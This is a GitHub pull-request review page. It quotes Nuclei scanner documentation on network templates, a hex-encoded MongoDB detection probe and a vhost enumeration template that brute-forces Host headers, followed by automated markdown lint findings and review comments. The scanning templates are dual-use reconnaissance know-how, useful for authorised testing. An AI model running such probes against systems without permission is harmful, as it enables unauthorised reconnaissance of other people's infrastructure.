| - read-size: 8 | ||
| Example with reading a number of bytes, and only matching on them. | ||
|
|
||
|
|
||
| inputs: | ||
| - read-size: 8 | ||
| name: prefix | ||
| ... | ||
| matchers: | ||
| - type: word | ||
| part: prefix | ||
| words: | ||
| - \"CAFEBABE\" | ||
| ``` | ||
| Multiple steps can be chained together in sequence to do network reading / writing. | ||
|
|
||
|
|
||
| Host | ||
| The next part of the requests is the host to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with {{ and end with }} and are case-sensitive. | ||
|
|
||
| Hostname - variable is replaced by the hostname provided on command line. | ||
| An example name value: | ||
|
|
||
|
|
||
| host: | ||
| - \"{{Hostname}}\" | ||
| Nuclei can also do TLS connection to the target server. Just add tls:// as prefix before the Hostname and you’re good to go. | ||
|
|
||
|
|
||
| host: | ||
| - \"tls://{{Hostname}}\" | ||
| If a port is specified in the host, the user supplied port is ignored and the template port takes precedence. | ||
|
|
||
|
|
||
| Port | ||
| Starting from Nuclei v2.9.15, a new field called port has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field. | ||
|
|
||
| Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this: | ||
|
|
||
| ``` | ||
| host: | ||
| - \"{{Hostname}}\" | ||
| - \"{{Host}}:22\" | ||
| ``` | ||
| In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22). | ||
|
|
||
| The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run: | ||
|
|
||
|
|
||
| $ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit | ||
| In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn’t specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail. | ||
|
|
||
| Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs: | ||
|
|
||
|
|
||
| $ nuclei -u scanme.sh:8443 | ||
| In this case, xyz-ssh-exploit template will send one request to scanme.sh:22 and another request to scanme.sh:8443, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios. | ||
|
|
||
| To address these issues while maintaining the existing functionality, network templates can now be written in the following way: | ||
|
|
||
| ``` | ||
| host: | ||
| - \"{{Hostname}}\" | ||
| port: 22 | ||
| ``` | ||
| In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (80, 443, 8080, 8443, 8081, 53). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports: | ||
|
|
||
| ``` | ||
| exclude-ports: 80,443 | ||
| ``` | ||
| When exclude-ports is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port 80, you will have to explicitly specify it in the port field. | ||
|
|
||
|
|
||
| # Matchers / Extractor Parts | ||
| Valid part values supported by Network protocol for Matchers / Extractor are: | ||
|
|
||
| Value Description | ||
| request Network Request | ||
| data Final Data Read From Network Socket | ||
| raw / body / all All Data received from Socket | ||
|
|
||
| ### Example Network Template | ||
| The final example template file for a hex encoded input to detect MongoDB running on servers with working matchers is provided below. | ||
|
|
||
| ``` | ||
| id: input-expressions-mongodb-detect | ||
|
|
||
| info: | ||
| name: Input Expression MongoDB Detection | ||
| author: princechaddha | ||
| severity: info | ||
| reference: https://github.com/orleven/Tentacle | ||
|
|
||
| tcp: | ||
| - inputs: | ||
| - data: \"{{hex_decode(\'3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000\')}}\" | ||
| host: | ||
| - \"{{Hostname}}\" | ||
| port: 27017 | ||
| read-size: 2048 | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"logicalSessionTimeout\" | ||
| - \"localTime\" | ||
| ``` | ||
|
|
||
| Request Execution Orchestration | ||
| Flow is a powerful Nuclei feature that provides enhanced orchestration capabilities for executing requests. The simplicity of conditional execution is just the beginning. With flow, you can: | ||
|
|
||
| Iterate over a list of values and execute a request for each one | ||
| Extract values from a request, iterate over them, and perform another request for each | ||
| Get and set values within the template context (global variables) | ||
| Write output to stdout for debugging purposes or based on specific conditions | ||
| Introduce custom logic during template execution | ||
| Use ECMAScript 5.1 JavaScript features to build and modify variables at runtime | ||
| Update variables at runtime and use them in subsequent requests. | ||
| Think of request execution orchestration as a bridge between JavaScript and Nuclei, offering two-way interaction within a specific template. | ||
|
|
||
| Practical Example: Vhost Enumeration | ||
|
|
||
| To better illustrate the power of flow, let’s consider developing a template for vhost (virtual host) enumeration. This set of tasks typically requires writing a new tool from scratch. Here are the steps we need to follow: | ||
|
|
||
| Retrieve the SSL certificate for the provided IP (using tlsx) | ||
| Extract subject_cn (CN) from the certificate | ||
| Extract subject_an (SAN) from the certificate | ||
| Remove wildcard prefixes from the values obtained in the steps above | ||
| Bruteforce the request using all the domains found from the SSL request | ||
| You can utilize flow to simplify this task. The JavaScript code below orchestrates the vhost enumeration: | ||
|
|
||
| ``` | ||
| ssl(); | ||
| for (let vhost of iterate(template[\"ssl_domains\"])) { | ||
| set(\"vhost\", vhost); | ||
| http(); | ||
| } | ||
| ``` | ||
| In this code, we’ve introduced 5 extra lines of JavaScript. This allows the template to perform vhost enumeration. The best part? You can run this at scale with all features of Nuclei, using supported inputs like ASN, CIDR, URL. | ||
|
|
||
| Let’s break down the JavaScript code: | ||
|
|
||
| ssl(): This function executes the SSL request. | ||
| template[\"ssl_domains\"]: Retrieves the value of ssl_domains from the template context. | ||
| iterate(): Helper function that iterates over any value type while handling empty or null values. | ||
| set(\"vhost\", vhost): Creates a new variable vhost in the template and assigns the vhost variable’s value to it. | ||
| http(): This function conducts the HTTP request. | ||
| By understanding and taking advantage of Nuclei’s flow, you can redefine the way you orchestrate request executions, making your templates much more powerful and efficient. | ||
|
|
||
| Here is working template for vhost enumeration using flow: | ||
|
|
||
| ``` | ||
| id: vhost-enum-flow | ||
|
|
||
| info: | ||
| name: vhost enum flow | ||
| author: tarunKoyalwar | ||
| severity: info | ||
| description: | | ||
| vhost enumeration by extracting potential vhost names from ssl certificate. | ||
|
|
||
| flow: | | ||
| ssl(); | ||
| for (let vhost of iterate(template[\"ssl_domains\"])) { | ||
| set(\"vhost\", vhost); | ||
| http(); | ||
| } | ||
|
|
||
| ssl: | ||
| - address: \"{{Host}}:{{Port}}\" | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| GET / HTTP/1.1 | ||
| Host: {{vhost}} | ||
|
|
||
| matchers: | ||
| - type: dsl | ||
| dsl: | ||
| - status_code != 400 | ||
| - status_code != 502 | ||
|
|
||
| extractors: | ||
| - type: dsl | ||
| dsl: | ||
| - \'\"VHOST: \" + vhost + \", SC: \" + status_code + \", CL: \" + content_length\' | ||
| ``` | ||
| JS Bindings | ||
| This section contains a brief description of all nuclei JS bindings and their usage. | ||
|
|
||
|
|
||
| Protocol Execution Function | ||
| In nuclei, any listed protocol can be invoked or executed in JavaScript using the protocol_name() format. For example, you can use http(), dns(), ssl(), etc. | ||
|
|
||
| If you want to execute a specific request of a protocol (refer to nuclei-flow-dns for an example), it can be achieved by passing either: | ||
|
|
||
| The index of that request in the protocol (e.g.,dns(1), dns(2)) | ||
| The ID of that request in the protocol (e.g., dns(\"extract-vps\"), http(\"probe-http\")) | ||
| For more advanced scenarios where multiple requests of a single protocol need to be executed, you can specify their index or ID one after the other (e.g., dns(“extract-vps”,“1”)). | ||
|
|
||
| This flexibility in using either index numbers or ID strings to call specific protocol requests provides controls for tailored execution, allowing you to build more complex and efficient workflows. more complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: dns(\"extract-vps\",\"1\")) | ||
|
|
||
|
|
||
| Iterate Helper Function : | ||
|
|
||
| Iterate is a nuclei js helper function which can be used to iterate over any type of value like array, map, string, number while handling empty/nil values. | ||
|
|
||
| This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it | ||
|
|
||
| ``` | ||
| iterate(123,{\"a\":1,\"b\":2,\"c\":3}) | ||
| ``` | ||
| // iterate over array with custom separator | ||
| ``` | ||
| iterate([1,2,3,4,5], \" \") | ||
| ``` | ||
|
|
||
| Set Helper Function | ||
| When iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using set() helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of set() is set(\"variable_name\",value) ex: set(\"username\",\"admin\"). | ||
|
|
||
| ``` | ||
| for (let vhost of myArray) { | ||
| set(\"vhost\", vhost); | ||
| http(1) | ||
| } | ||
| ``` | ||
|
|
||
| Note: In above example we used set(\"vhost\", vhost) which added vhost to template context (global variables) and then called http(1) which used this value in request. | ||
|
|
||
|
|
||
| Template Context | ||
|
|
||
| A template context is nothing but a map/jsonl containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using set() etc). This template context is available in javascript as template variable and can be used to access any data from it. ex: template[\"dns_cname\"], template[\"ssl_subject_cn\"] etc. | ||
|
|
||
| ``` | ||
| template[\"ssl_domains\"] // returns value of ssl_domains from template context which is available after executing ssl request | ||
| template[\"ptrValue\"] // returns value of ptrValue which was extracted using regex with internal: true | ||
| ``` | ||
|
|
||
|
|
||
| Lot of times we don’t known what all data is available in template context and this can be easily found by printing it to stdout using log() function | ||
|
|
||
| ``` | ||
| log(template) | ||
| ``` | ||
| Log Helper Function | ||
| It is a nuclei js alternative to console.log and this pretty prints map data in readable format | ||
|
|
||
| Note: This should be used for debugging purposed only as this prints data to stdout | ||
|
|
||
|
|
||
| Dedupe | ||
| Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in ssl_subject_cn and ssl_subject_an and this can be achieved by using dedupe() object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice | ||
|
|
||
| ``` | ||
| let uniq = new Dedupe(); // create new dedupe object | ||
| uniq.Add(template[\"ptrValue\"]) | ||
| uniq.Add(template[\"ssl_subject_cn\"]); | ||
| uniq.Add(template[\"ssl_subject_an\"]); | ||
| log(uniq.Values()) | ||
| ``` | ||
| And that’s it, this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values | ||
|
|
||
| Similar to DSL helper functions . we can either use built in functions available with Javascript (ECMAScript 5.1) or use DSL helper functions and its upto user to decide which one to uses. | ||
|
|
||
| ``` |
Contributor
There was a problem hiding this comment.
Markdown-Lint-Befunde konsolidiert beheben (Codefences + Heading-Hierarchie)
Es gibt viele dokumentierte Lint-Treffer (u. a. MD040, MD001), z. B. fehlende Sprachkennungen bei Fenced Code Blocks und inkrementelle Heading-Sprünge. Das ist kein Funktionsblocker, reduziert aber Wartbarkeit und Konsistenz der Skill-Doku.
🔧 Kompakter Fix-Ansatz
-```
+```yaml
matchers:
- type: status
status:
- 200-### What are Nuclei Templates?
+## What are Nuclei Templates?
</details>
<details>
<summary>🧰 Tools</summary>
<details>
<summary>🪛 LanguageTool</summary>
[grammar] ~79-~79: Use a hyphen to join words.
Context: ...part: body ``` Matchers also support hex encoded data which will be decoded and m...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~100-~100: Use a hyphen to join words.
Context: ...ata based on each protocol. See protocol specific documentation to learn about di...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~270-~270: Ensure spelling is correct
Context: ... in browser, we can get the xpath value form any web page content. DSL Extractor A...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
---
[grammar] ~286-~286: Use a hyphen to join words.
Context: ...with name api which will capture a regex based pattern from the request. ``` ...
(QB_NEW_EN_HYPHEN)
---
[uncategorized] ~297-~297: Do not mix variants of the same word (‘utilise’ and ‘utilize’) within a single text.
Context: ...tored in the variable api, which can be utilised in any section of the subsequent reques...
(EN_WORD_COHERENCY)
---
[style] ~408-~408: Consider removing “of” to be more concise
Context: ...ng) bool Verifies if any input contains all of the substrings contains(\"Hello everyone\",...
(ALL_OF_THE)
---
[style] ~463-~463: Some style guides suggest that commas should set off the year in a month-day-year date.
Context: ...ber of seconds elapsed since January 1, 1970 UTC) with the added optional seconds un...
(MISSING_COMMA_AFTER_YEAR)
---
[grammar] ~655-~655: Use a hyphen to join words.
Context: ... using the interactsh API to achieve OOB based vulnerability scanning with automa...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~747-~747: Use a hyphen to join words.
Context: ...ood enough for most use cases. More fine grained control can be exercised over nu...
(QB_NEW_EN_HYPHEN)
---
[style] ~812-~812: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...ied to be sent along with the requests. Headers are placed in form of key/value pairs. ...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
---
[style] ~893-~893: ‘each and every’ might be wordy. Consider a shorter alternative.
Context: ...le meaning you can configure and define each and every single thing about the requests that wi...
(EN_WORDINESS_PREMIUM_EACH_AND_EVERY)
---
[grammar] ~904-~904: Use a hyphen to join words.
Context: ...elow which will make the request to user specified input. ``` - raw: -...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~916-~916: Ensure spelling is correct
Context: ...ator functions are needed), and perform batteringram, pitchfork and clusterbomb attacks. The...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
---
[grammar] ~916-~916: Use a hyphen to join words.
Context: ...g the keyword, Nuclei supports both file based and in template wordlist support a...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~916-~916: Use a hyphen to join words.
Context: ..., Nuclei supports both file based and in template wordlist support and Finally al...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~931-~931: Use a hyphen to join words.
Context: ...An example of the using payloads with in template wordlist support: # HTTP Intr...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~952-~952: Ensure spelling is correct
Context: ...am pitchfork clusterbomb Support ✔ ✔ ✔ batteringram The battering ram attack type places the...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
---
[grammar] ~993-~993: Use a hyphen to join words.
Context: ...POST request in RAW format along with in template defined payloads running cluste...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~993-~993: Use a hyphen to join words.
Context: ...est in RAW format along with in template defined payloads running clusterbomb int...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1036-~1036: Use a hyphen to join words.
Context: ...equest in RAW format along with wordlist based payloads running clusterbomb intru...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1247-~1247: Use a hyphen to join words.
Context: ...-reborn. Before running HTTP pipelining based templates, make sure the running t...
(QB_NEW_EN_HYPHEN)
---
[style] ~1295-~1295: Unless you want to emphasize “not”, use “cannot” which is more common.
Context: ...ads sections. Connection: Close header can not be used in HTTP connection pooling temp...
(CAN_NOT_PREMIUM)
---
[grammar] ~1335-~1335: Use a hyphen to join words.
Context: ... inline annotations allow performing per request properties/behavior override. Th...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1338-~1338: Use a hyphen to join words.
Context: ...er and interactsh-url uses an interactsh generated URL. `@timeout`: which overrides...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1428-~1428: Use a hyphen to join words.
Context: ...a: \"TEST\r \" ``` You can also send hex encoded text that will be first decoded ...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1479-~1479: Use a hyphen to join words.
Context: ... port is specified in the host, the user supplied port is ignored and the templat...
(QB_NEW_EN_HYPHEN)
---
[grammar] ~1530-~1530: Use a hyphen to join words.
Context: ...he final example template file for a hex encoded input to detect MongoDB running ...
(QB_NEW_EN_HYPHEN)
---
[style] ~1655-~1655: In contexts where ‘if’ is followed by ‘or’, using ‘whether’ may be more appropriate (and formal).
Context: ...ei to omit boilerplate code of checking if value is empty or not and then iteratin...
(IF_WHETHER)
---
[grammar] ~1680-~1680: Ensure spelling is correct
Context: ...A template context is nothing but a map/jsonl containing all this data along with int...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
---
[style] ~1680-~1680: In American English, abbreviations like “etc.” require a period.
Context: ...s requests, variables added using set() etc). This template context is available in...
(ETC_PERIOD)
---
[grammar] ~1711-~1711: Use a hyphen to join words.
Context: ...lper functions . we can either use built in functions available with Javascript (...
(QB_NEW_EN_HYPHEN)
</details>
<details>
<summary>🪛 markdownlint-cli2 (0.21.0)</summary>
[warning] 46-46: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 58-58: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 69-69: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 81-81: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 93-93: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 102-102: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 116-116: Spaces inside emphasis markers
(MD037, no-space-in-emphasis)
---
[warning] 130-130: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 151-151: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 165-165: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 192-192: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 214-214: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 216-216: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 227-227: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 237-237: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 249-249: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 262-262: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 276-276: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 288-288: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 303-303: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 327-327: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 338-338: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 367-367: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 476-476: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 485-485: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 494-494: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 499-499: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 515-515: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 535-535: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 543-543: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 561-561: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 566-566: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 577-577: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 584-584: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 589-589: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 596-596: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 607-607: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 611-611: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 630-630: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 639-639: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 664-664: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 675-675: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 693-693: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 702-702: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 726-726: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 732-732: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 740-740: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 752-752: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 785-785: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 801-801: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 810-810: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 814-814: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 825-825: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 833-833: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 843-843: Spaces inside emphasis markers
(MD037, no-space-in-emphasis)
---
[warning] 849-849: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 860-860: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 883-883: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 897-897: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 906-906: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 926-926: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 935-935: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 947-947: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 975-975: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 992-992: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 995-995: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1038-1038: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1084-1084: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1116-1116: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1203-1203: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 1211-1211: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1253-1253: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1261-1261: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1299-1299: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1342-1342: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1353-1353: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1384-1384: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1396-1396: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1423-1423: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1430-1430: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1439-1439: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1446-1446: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1487-1487: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1508-1508: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1515-1515: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1529-1529: Heading levels should only increment by one level at a time
Expected: h2; Actual: h3
(MD001, heading-increment)
---
[warning] 1532-1532: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1578-1578: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1598-1598: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1657-1657: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1661-1661: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1668-1668: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1682-1682: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1690-1690: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1702-1702: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
---
[warning] 1713-1713: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
</details>
</details>
<details>
<summary>🤖 Prompt for AI Agents</summary>
Verify each finding against the current code and only fix it if needed.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md
around lines 46 - 1713, The markdown has lint issues: add explicit language
identifiers to fenced code blocks (e.g., replace triple-backtick blocks like withyaml, json, or text as appropriate for examples such as the
matchers, binary, xpath, extractors and payload snippets) and fix heading-level
inconsistencies (e.g., change the incorrect "### What are Nuclei Templates?" to
"## What are Nuclei Templates?" or otherwise restore sequential heading
hierarchy) so MD040/MD001 are resolved; search for plain triple-backtick fences
and the heading string "### What are Nuclei Templates?" plus other
non-sequential headings and update them accordingly (also ensure the author
field value is set to "pd-bot" in info blocks).
</details>
<!-- fingerprinting:phantom:triton:hawk -->
<!-- This is an auto-generated comment by CodeRabbit -->
- summarize_legislation: fix 'and or' → 'and/or'
- summarize_rpg_session: hyphenate 'role-playing'; clarify Previously On
instruction; remove trailing stray quote from note line
- t_analyze_challenge_handling: make ASCII diagram step conditional on
explicit user request (resolves contradiction with OUTPUT INSTRUCTIONS)
- t_check_dunning_kruger: fix subject-verb agreement ('input owner
overestimate' → 'author overestimates'); resolve conflicting directives
by naming summary as SUMMARY AND GROWTH PERSPECTIVE section
- threshold: fix 'aI's' → 'AI'\''s'; fix 'Cybersecurity' → 'CyberSecurity'
per AVAILABLE LABELS; add missing 'or' in output rule
- write_nuclei_template_rule: fix heading level '###' → '##' for
'What are Nuclei Templates?'
- ExecutePattern.md: add 'text' language tags to remaining unlabelled
code fences
Skipped (scope creep / unverifiable): USE WHEN additions,
to_flashcards factual answers, suggest_pattern -u/-U flag,
t_create_h3_career items 4/5 nitpick, t_analyze_challenge_handling
'Markdown'→'markdown' (correct capitalization as proper noun)
Contributor
There was a problem hiding this comment.
Actionable comments posted: 3
♻️ Duplicate comments (3)
.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md (2)
1-11:⚠️ Potential issue | 🟠 Major
USE WHEN-Triggerblock fehlt weiterhin am Pattern-Kopf.Für Skill-Dateien unter
.opencode/skills/**fehlt hier weiterhin ein klarerUSE WHEN-Abschnitt zur Triggerbarkeit durch Agenten (siehe Line 1 ff.).As per coding guidelines, ".opencode/skills/**: PAI Skills — Domain-specific sub-algorithms. Verify: SKILL.md follows PAI v3.0 format (USE WHEN triggers, MANDATORY/OPTIONAL sections)".
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md around lines 1 - 11, This skill file is missing the required "USE WHEN" trigger block at the top per PAI v3.0; add a "USE WHEN" section to the pattern header in .opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md that defines clear agent triggers (e.g., conditions that must be true for the skill to run), and ensure the file follows SKILL.md PAI v3.0 structure by including the mandatory "USE WHEN" plus MANDATORY/OPTIONAL fields for inputs and outputs so agents can discover and invoke the skill.
44-46:⚠️ Potential issue | 🟡 MinorMarkdown-Lint-Befunde (Heading-Inkremente + Codefence-Sprachlabels) sind noch offen.
Die MD001/MD040-Befunde sind weiterhin sichtbar (z. B. Heading-Sprung bei Line 44/214/726 und ungetaggte Fences bei Line 46/216/732). Bitte konsolidiert beheben, damit die Skill-Doku stabil und maschinenlesbarer bleibt.
Also applies to: 214-216, 726-732
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md around lines 44 - 46, Die Datei hat inkonsistente Heading-Inkremente und ungetaggte Codefences; passe die Überschriften so an, dass "Types" (aktueller Header-Text) die korrekte Hierarchie zum vorherigen Header einhält (verwende die gleiche Anzahl von # wie die umgebenden Sections) und ergänze jedem Codefence (z.B. der Fence direkt nach "Types" und die Fences bei den genannten Bereichen) eine passende Sprachangabe (z. B. ```text, ```yaml oder ```bash) damit MD001/MD040 verschwinden; wende dieselbe Korrektur auch auf die Abschnitte um die Zeilenbereiche 214-216 und 726-732 an..opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md (1)
19-19:⚠️ Potential issue | 🟡 MinorFehlender Bindestrich in zusammengesetztem Adjektiv „50-word".
Die Phrase „50 word summary" sollte als „50-word summary" geschrieben werden, um der englischen Grammatikregel für zusammengesetzte Adjektive vor Substantiven zu entsprechen. Dies ist inkonsistent mit der korrekten Verwendung von „role-playing" in Zeile 3.
✏️ Korrekturvorschlag
-A 50 word summary of what happened in a heroic storytelling style. +A 50-word summary of what happened in a heroic storytelling style.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md at line 19, Fix the missing hyphen in the compound adjective by changing the phrase "50 word summary" to "50-word summary" in the document (same style as the existing "role-playing" usage); search for the exact token "50 word summary" and replace it with "50-word summary" to maintain consistent compound-adjective formatting.
🧹 Nitpick comments (4)
.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md (1)
28-30: Ausgabeschema hier präzisieren, um deterministisches Verhalten zu sichern.In
METACOGNITIVE SKILLSundIMPACT ON DECISION MAKINGist nur die Wortlänge pro Bullet definiert („10-word bullets“), aber nicht die Anzahl der Bullets. Das führt im Vergleich zu den oberen Sektionen potenziell zu inkonsistenten Outputs. Bitte analog klar festlegen (z. B. „10 bullets, each 10 words“).🤖 Prompt for AI Agents
